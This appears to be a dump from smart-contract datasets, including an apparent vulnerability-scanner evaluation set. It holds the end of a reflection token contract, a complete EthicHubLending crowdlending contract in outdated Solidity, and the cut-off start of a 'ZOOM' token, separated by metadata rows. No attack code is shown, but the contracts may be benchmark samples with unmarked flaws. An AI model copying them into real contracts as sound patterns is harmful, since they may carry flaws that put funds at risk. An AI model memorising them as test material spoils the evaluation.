_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 256,022 | 12,461 |
a111e606a019f571c3706a8f41890c2241293faf9680932c87fbb06e4b310428
| 26,800 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5a6d9a69408ce19df15eb40347ded3028a77fcca.sol
| 6,302 | 24,856 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract EthicHubReputationInterface {
modifier onlyUsersContract(){_;}
modifier onlyLendingContract(){_;}
function burnReputation(uint delayDays) external;
function incrementReputation(uint completedProjectsByTier) external;
function initLocalNodeReputation(address localNode) external;
function initCommunityReputation(address community) external;
function getCommunityReputation(address target) public view returns(uint256);
function getLocalNodeReputation(address target) public view returns(uint256);
}
contract EthicHubStorageInterface {
//modifier for access in sets and deletes
modifier onlyEthicHubContracts() {_;}
// Setters
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
// Deleters
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
// Getters
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string);
function getBytes(bytes32 _key) external view returns (bytes);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract EthicHubBase {
uint8 public version;
EthicHubStorageInterface public ethicHubStorage = EthicHubStorageInterface(0);
constructor(address _storageAddress) public {
require(_storageAddress != address(0));
ethicHubStorage = EthicHubStorageInterface(_storageAddress);
}
}
contract EthicHubLending is EthicHubBase, Ownable, Pausable {
using SafeMath for uint256;
//uint256 public minContribAmount = 0.1 ether; // 0.1 ether
enum LendingState {
Uninitialized,
AcceptingContributions,
ExchangingToFiat,
AwaitingReturn,
ProjectNotFunded,
ContributionReturned,
Default
}
mapping(address => Investor) public investors;
uint256 public investorCount;
uint256 public reclaimedContributions;
uint256 public reclaimedSurpluses;
uint256 public fundingStartTime; // Start time of contribution period in UNIX time
uint256 public fundingEndTime; // End time of contribution period in UNIX time
uint256 public totalContributed;
bool public capReached;
LendingState public state;
uint256 public annualInterest;
uint256 public totalLendingAmount;
uint256 public lendingDays;
uint256 public initialEthPerFiatRate;
uint256 public totalLendingFiatAmount;
address public borrower;
address public localNode;
address public ethicHubTeam;
uint256 public borrowerReturnDate;
uint256 public borrowerReturnEthPerFiatRate;
uint256 public ethichubFee;
uint256 public localNodeFee;
uint256 public tier;
// interest rate is using base uint 100 and 100% 10000, this means 1% is 100
// this guarantee we can have a 2 decimal presicion in our calculation
uint256 public constant interestBaseUint = 100;
uint256 public constant interestBasePercent = 10000;
bool public localNodeFeeReclaimed;
bool public ethicHubTeamFeeReclaimed;
uint256 public surplusEth;
uint256 public returnedEth;
struct Investor {
uint256 amount;
bool isCompensated;
bool surplusEthReclaimed;
}
// events
event onCapReached(uint endTime);
event onContribution(uint totalContributed, address indexed investor, uint amount, uint investorsCount);
event onCompensated(address indexed contributor, uint amount);
event onSurplusSent(uint256 amount);
event onSurplusReclaimed(address indexed contributor, uint amount);
event StateChange(uint state);
event onInitalRateSet(uint rate);
event onReturnRateSet(uint rate);
event onReturnAmount(address indexed borrower, uint amount);
event onBorrowerChanged(address indexed newBorrower);
event onInvestorChanged(address indexed oldInvestor, address indexed newInvestor);
// modifiers
modifier checkProfileRegistered(string profile) {
bool isRegistered = ethicHubStorage.getBool(keccak256("user", profile, msg.sender));
require(isRegistered);
_;
}
modifier checkIfArbiter() {
address arbiter = ethicHubStorage.getAddress(keccak256("arbiter", this));
require(arbiter == msg.sender);
_;
}
modifier onlyOwnerOrLocalNode() {
require(localNode == msg.sender || owner == msg.sender);
_;
}
modifier onlyInvestorOrPaymentGateway() {
bool isInvestor = ethicHubStorage.getBool(keccak256("user", "investor", msg.sender));
bool isPaymentGateway = ethicHubStorage.getBool(keccak256("user", "paymentGateway", msg.sender));
require(isPaymentGateway || isInvestor);
_;
}
constructor(uint256 _fundingStartTime,
uint256 _fundingEndTime,
address _borrower,
uint256 _annualInterest,
uint256 _totalLendingAmount,
uint256 _lendingDays,
address _storageAddress,
address _localNode,
address _ethicHubTeam,
uint256 _ethichubFee,
uint256 _localNodeFee)
EthicHubBase(_storageAddress)
public {
require(_fundingStartTime > now);
require(_fundingEndTime > fundingStartTime);
require(_borrower != address(0));
require(ethicHubStorage.getBool(keccak256("user", "representative", _borrower)));
require(_localNode != address(0));
require(_ethicHubTeam != address(0));
require(ethicHubStorage.getBool(keccak256("user", "localNode", _localNode)));
require(_totalLendingAmount > 0);
require(_lendingDays > 0);
require(_annualInterest > 0 && _annualInterest < 100);
version = 4;
reclaimedContributions = 0;
reclaimedSurpluses = 0;
fundingStartTime = _fundingStartTime;
fundingEndTime = _fundingEndTime;
localNode = _localNode;
ethicHubTeam = _ethicHubTeam;
borrower = _borrower;
annualInterest = _annualInterest;
totalLendingAmount = _totalLendingAmount;
lendingDays = _lendingDays;
ethichubFee = _ethichubFee;
localNodeFee = _localNodeFee;
state = LendingState.Uninitialized;
}
function saveInitialParametersToStorage(uint256 _maxDelayDays, uint256 _tier, uint256 _communityMembers, address _community) external onlyOwnerOrLocalNode {
require(_maxDelayDays != 0);
require(state == LendingState.Uninitialized);
require(_tier > 0);
require(_communityMembers > 0);
require(ethicHubStorage.getBool(keccak256("user", "community", _community)));
ethicHubStorage.setUint(keccak256("lending.maxDelayDays", this), _maxDelayDays);
ethicHubStorage.setAddress(keccak256("lending.community", this), _community);
ethicHubStorage.setAddress(keccak256("lending.localNode", this), localNode);
ethicHubStorage.setUint(keccak256("lending.tier", this), _tier);
ethicHubStorage.setUint(keccak256("lending.communityMembers", this), _communityMembers);
tier = _tier;
state = LendingState.AcceptingContributions;
emit StateChange(uint(state));
}
function setBorrower(address _borrower) external checkIfArbiter {
require(_borrower != address(0));
require(ethicHubStorage.getBool(keccak256("user", "representative", _borrower)));
borrower = _borrower;
emit onBorrowerChanged(borrower);
}
function changeInvestorAddress(address oldInvestor, address newInvestor) external checkIfArbiter {
require(newInvestor != address(0));
require(ethicHubStorage.getBool(keccak256("user", "investor", newInvestor)));
//oldInvestor should have invested in this project
require(investors[oldInvestor].amount != 0);
//newInvestor should not have invested anything in this project to not complicate return calculation
require(investors[newInvestor].amount == 0);
investors[newInvestor].amount = investors[oldInvestor].amount;
investors[newInvestor].isCompensated = investors[oldInvestor].isCompensated;
investors[newInvestor].surplusEthReclaimed = investors[oldInvestor].surplusEthReclaimed;
delete investors[oldInvestor];
emit onInvestorChanged(oldInvestor, newInvestor);
}
function() public payable whenNotPaused {
require(state == LendingState.AwaitingReturn || state == LendingState.AcceptingContributions || state == LendingState.ExchangingToFiat);
if(state == LendingState.AwaitingReturn) {
returnBorrowedEth();
} else if (state == LendingState.ExchangingToFiat) {
// borrower can send surplus eth back to contract to avoid paying interest
sendBackSurplusEth();
} else {
require(ethicHubStorage.getBool(keccak256("user", "investor", msg.sender)));
contributeWithAddress(msg.sender);
}
}
function sendBackSurplusEth() internal {
require(state == LendingState.ExchangingToFiat);
require(msg.sender == borrower);
surplusEth = surplusEth.add(msg.value);
require(surplusEth <= totalLendingAmount);
emit onSurplusSent(msg.value);
}
function declareProjectNotFunded() external onlyOwnerOrLocalNode {
require(totalContributed < totalLendingAmount);
require(state == LendingState.AcceptingContributions);
require(now > fundingEndTime);
state = LendingState.ProjectNotFunded;
emit StateChange(uint(state));
}
function declareProjectDefault() external onlyOwnerOrLocalNode {
require(state == LendingState.AwaitingReturn);
uint maxDelayDays = getMaxDelayDays();
require(getDelayDays(now) >= maxDelayDays);
EthicHubReputationInterface reputation = EthicHubReputationInterface(ethicHubStorage.getAddress(keccak256("contract.name", "reputation")));
require(reputation != address(0));
ethicHubStorage.setUint(keccak256("lending.delayDays", this), maxDelayDays);
reputation.burnReputation(maxDelayDays);
state = LendingState.Default;
emit StateChange(uint(state));
}
function setBorrowerReturnEthPerFiatRate(uint256 _borrowerReturnEthPerFiatRate) external onlyOwnerOrLocalNode {
require(state == LendingState.AwaitingReturn);
borrowerReturnEthPerFiatRate = _borrowerReturnEthPerFiatRate;
emit onReturnRateSet(borrowerReturnEthPerFiatRate);
}
function finishInitialExchangingPeriod(uint256 _initialEthPerFiatRate) external onlyOwnerOrLocalNode {
require(capReached == true);
require(state == LendingState.ExchangingToFiat);
initialEthPerFiatRate = _initialEthPerFiatRate;
if (surplusEth > 0) {
totalLendingAmount = totalLendingAmount.sub(surplusEth);
}
totalLendingFiatAmount = totalLendingAmount.mul(initialEthPerFiatRate);
emit onInitalRateSet(initialEthPerFiatRate);
state = LendingState.AwaitingReturn;
emit StateChange(uint(state));
}
function reclaimContributionDefault(address beneficiary) external {
require(state == LendingState.Default);
require(!investors[beneficiary].isCompensated);
// contribution = contribution * partial_funds / total_funds
uint256 contribution = checkInvestorReturns(beneficiary);
require(contribution > 0);
investors[beneficiary].isCompensated = true;
reclaimedContributions = reclaimedContributions.add(1);
doReclaim(beneficiary, contribution);
}
function reclaimContribution(address beneficiary) external {
require(state == LendingState.ProjectNotFunded);
require(!investors[beneficiary].isCompensated);
uint256 contribution = investors[beneficiary].amount;
require(contribution > 0);
investors[beneficiary].isCompensated = true;
reclaimedContributions = reclaimedContributions.add(1);
doReclaim(beneficiary, contribution);
}
function reclaimSurplusEth(address beneficiary) external {
require(surplusEth > 0);
// only can be reclaimed after cap reduced
require(state != LendingState.ExchangingToFiat);
require(!investors[beneficiary].surplusEthReclaimed);
uint256 surplusContribution = investors[beneficiary].amount.mul(surplusEth).div(surplusEth.add(totalLendingAmount));
require(surplusContribution > 0);
investors[beneficiary].surplusEthReclaimed = true;
reclaimedSurpluses = reclaimedSurpluses.add(1);
emit onSurplusReclaimed(beneficiary, surplusContribution);
doReclaim(beneficiary, surplusContribution);
}
function reclaimContributionWithInterest(address beneficiary) external {
require(state == LendingState.ContributionReturned);
require(!investors[beneficiary].isCompensated);
uint256 contribution = checkInvestorReturns(beneficiary);
require(contribution > 0);
investors[beneficiary].isCompensated = true;
reclaimedContributions = reclaimedContributions.add(1);
doReclaim(beneficiary, contribution);
}
function reclaimLocalNodeFee() external {
require(state == LendingState.ContributionReturned);
require(localNodeFeeReclaimed == false);
uint256 fee = totalLendingFiatAmount.mul(localNodeFee).mul(interestBaseUint).div(interestBasePercent).div(borrowerReturnEthPerFiatRate);
require(fee > 0);
localNodeFeeReclaimed = true;
doReclaim(localNode, fee);
}
function reclaimEthicHubTeamFee() external {
require(state == LendingState.ContributionReturned);
require(ethicHubTeamFeeReclaimed == false);
uint256 fee = totalLendingFiatAmount.mul(ethichubFee).mul(interestBaseUint).div(interestBasePercent).div(borrowerReturnEthPerFiatRate);
require(fee > 0);
ethicHubTeamFeeReclaimed = true;
doReclaim(ethicHubTeam, fee);
}
function reclaimLeftoverEth() external checkIfArbiter {
require(state == LendingState.ContributionReturned || state == LendingState.Default);
require(localNodeFeeReclaimed);
require(ethicHubTeamFeeReclaimed);
require(investorCount == reclaimedContributions);
if(surplusEth > 0) {
require(investorCount == reclaimedSurpluses);
}
doReclaim(ethicHubTeam, this.balance);
}
function doReclaim(address target, uint256 amount) internal {
if(this.balance < amount) {
target.transfer(this.balance);
} else {
target.transfer(amount);
}
}
function returnBorrowedEth() internal {
require(state == LendingState.AwaitingReturn);
require(msg.sender == borrower);
require(borrowerReturnEthPerFiatRate > 0);
bool projectRepayed = false;
uint excessRepayment = 0;
uint newReturnedEth = 0;
emit onReturnAmount(msg.sender, msg.value);
(newReturnedEth, projectRepayed, excessRepayment) = calculatePaymentGoal(borrowerReturnAmount(),
returnedEth,
msg.value);
returnedEth = newReturnedEth;
if (projectRepayed == true) {
state = LendingState.ContributionReturned;
emit StateChange(uint(state));
updateReputation();
}
if (excessRepayment > 0) {
msg.sender.transfer(excessRepayment);
}
}
// @notice make cotribution throught a paymentGateway
// @param contributor Address
function contributeForAddress(address contributor) external checkProfileRegistered('paymentGateway') payable whenNotPaused {
contributeWithAddress(contributor);
}
// @notice Function to participate in contribution period
// Amounts from the same address should be added up
// If cap is reached, end time should be modified
// Funds should be transferred into multisig wallet
// @param contributor Address
function contributeWithAddress(address contributor) internal whenNotPaused {
require(state == LendingState.AcceptingContributions);
//require(msg.value >= minContribAmount);
require(isContribPeriodRunning());
uint oldTotalContributed = totalContributed;
uint newTotalContributed = 0;
uint excessContribValue = 0;
(newTotalContributed, capReached, excessContribValue) = calculatePaymentGoal(totalLendingAmount,
oldTotalContributed,
msg.value);
totalContributed = newTotalContributed;
if (capReached) {
fundingEndTime = now;
emit onCapReached(fundingEndTime);
}
if (investors[contributor].amount == 0) {
investorCount = investorCount.add(1);
}
if (excessContribValue > 0) {
msg.sender.transfer(excessContribValue);
investors[contributor].amount = investors[contributor].amount.add(msg.value).sub(excessContribValue);
emit onContribution(newTotalContributed, contributor, msg.value.sub(excessContribValue), investorCount);
} else {
investors[contributor].amount = investors[contributor].amount.add(msg.value);
emit onContribution(newTotalContributed, contributor, msg.value, investorCount);
}
}
function calculatePaymentGoal(uint goal, uint oldTotal, uint contribValue) internal pure returns(uint, bool, uint) {
uint newTotal = oldTotal.add(contribValue);
bool goalReached = false;
uint excess = 0;
if (newTotal >= goal && oldTotal < goal) {
goalReached = true;
excess = newTotal.sub(goal);
contribValue = contribValue.sub(excess);
newTotal = goal;
}
return (newTotal, goalReached, excess);
}
function sendFundsToBorrower() external onlyOwnerOrLocalNode {
//Waiting for Exchange
require(state == LendingState.AcceptingContributions);
require(capReached);
state = LendingState.ExchangingToFiat;
emit StateChange(uint(state));
borrower.transfer(totalContributed);
}
function updateReputation() internal {
uint delayDays = getDelayDays(now);
EthicHubReputationInterface reputation = EthicHubReputationInterface(ethicHubStorage.getAddress(keccak256("contract.name", "reputation")));
require(reputation != address(0));
if (delayDays > 0) {
ethicHubStorage.setUint(keccak256("lending.delayDays", this), delayDays);
reputation.burnReputation(delayDays);
} else {
uint completedProjectsByTier = ethicHubStorage.getUint(keccak256("community.completedProjectsByTier", this, tier)).add(1);
ethicHubStorage.setUint(keccak256("community.completedProjectsByTier", this, tier), completedProjectsByTier);
reputation.incrementReputation(completedProjectsByTier);
}
}
function getDelayDays(uint date) public view returns(uint) {
uint lendingDaysSeconds = lendingDays * 1 days;
uint defaultTime = fundingEndTime.add(lendingDaysSeconds);
if (date < defaultTime) {
return 0;
} else {
return date.sub(defaultTime).div(60).div(60).div(24);
}
}
// lendingInterestRate with 2 decimal
// 15 * (lending days)/ 365 + 4% local node fee + 3% LendingDev fee
function lendingInterestRatePercentage() public view returns(uint256){
return annualInterest.mul(interestBaseUint).mul(lendingDays.add(getDelayDays(now))).div(365).add(localNodeFee.mul(interestBaseUint)).add(ethichubFee.mul(interestBaseUint)).add(interestBasePercent);
}
// lendingInterestRate with 2 decimal
function investorInterest() public view returns(uint256){
return annualInterest.mul(interestBaseUint).mul(lendingDays.add(getDelayDays(now))).div(365).add(interestBasePercent);
}
function borrowerReturnFiatAmount() public view returns(uint256) {
return totalLendingFiatAmount.mul(lendingInterestRatePercentage()).div(interestBasePercent);
}
function borrowerReturnAmount() public view returns(uint256) {
return borrowerReturnFiatAmount().div(borrowerReturnEthPerFiatRate);
}
function isContribPeriodRunning() public view returns(bool) {
return fundingStartTime <= now && fundingEndTime > now && !capReached;
}
function checkInvestorContribution(address investor) public view returns(uint256){
return investors[investor].amount;
}
function checkInvestorReturns(address investor) public view returns(uint256) {
uint256 investorAmount = 0;
if (state == LendingState.ContributionReturned) {
investorAmount = investors[investor].amount;
if (surplusEth > 0){
investorAmount = investors[investor].amount.mul(totalLendingAmount).div(totalContributed);
}
return investorAmount.mul(initialEthPerFiatRate).mul(investorInterest()).div(borrowerReturnEthPerFiatRate).div(interestBasePercent);
} else if (state == LendingState.Default){
investorAmount = investors[investor].amount;
// contribution = contribution * partial_funds / total_funds
return investorAmount.mul(returnedEth).div(totalLendingAmount);
} else {
return 0;
}
}
function getMaxDelayDays() public view returns(uint256){
return ethicHubStorage.getUint(keccak256("lending.maxDelayDays", this));
}
function getUserContributionReclaimStatus(address userAddress) public view returns(bool isCompensated, bool surplusEthReclaimed){
isCompensated = investors[userAddress].isCompensated;
surplusEthReclaimed = investors[userAddress].surplusEthReclaimed;
}
}
| 198,289 | 12,462 |
b07a487fdf6b23d45b8303545b21eb950af53b6d9a6c168ec8d8df573c945a3e
| 19,451 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/9e/9e8d8f904a918c24ea6c3917a7b60062d24b2340_ZOOM.sol
| 4,611 | 18,540 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ZOOM is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isIncludedFromFee;
address[] private includeFromFee;
string private constant _name = "ZOOM";
string private constant _symbol = "$ZOOM";
uint8 private constant _decimals = 9;
